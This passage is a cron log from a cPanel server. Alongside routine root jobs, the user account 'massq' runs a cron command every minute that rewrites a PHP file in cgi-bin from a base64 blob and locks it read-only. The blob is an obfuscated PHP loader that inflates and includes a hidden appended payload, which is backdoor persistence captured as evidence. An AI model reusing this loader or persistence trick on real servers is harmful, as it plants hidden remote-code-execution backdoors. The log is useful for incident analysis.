bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:27:01 server CROND[13797]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 21:27:01 server CROND[13798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:28:01 server CROND[13875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:29:01 server CROND[13915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:30:01 server CROND[14153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 21:30:01 server CROND[14150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:30:01 server CROND[14151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:30:01 server CROND[14152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:31:01 server CROND[14263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:32:01 server CROND[14310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:33:01 server CROND[14383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:34:01 server CROND[14431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:35:01 server CROND[14483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:35:01 server CROND[14484]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:35:01 server CROND[14485]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 21:35:01 server CROND[14487]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 21:35:01 server CROND[14486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:36:01 server CROND[14686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:37:01 server CROND[14734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:38:01 server CROND[14779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:39:01 server CROND[14830]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 21:39:01 server CROND[14831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:40:01 server CROND[14895]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 21:40:01 server CROND[14896]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:40:01 server CROND[14897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:40:01 server CROND[14898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyI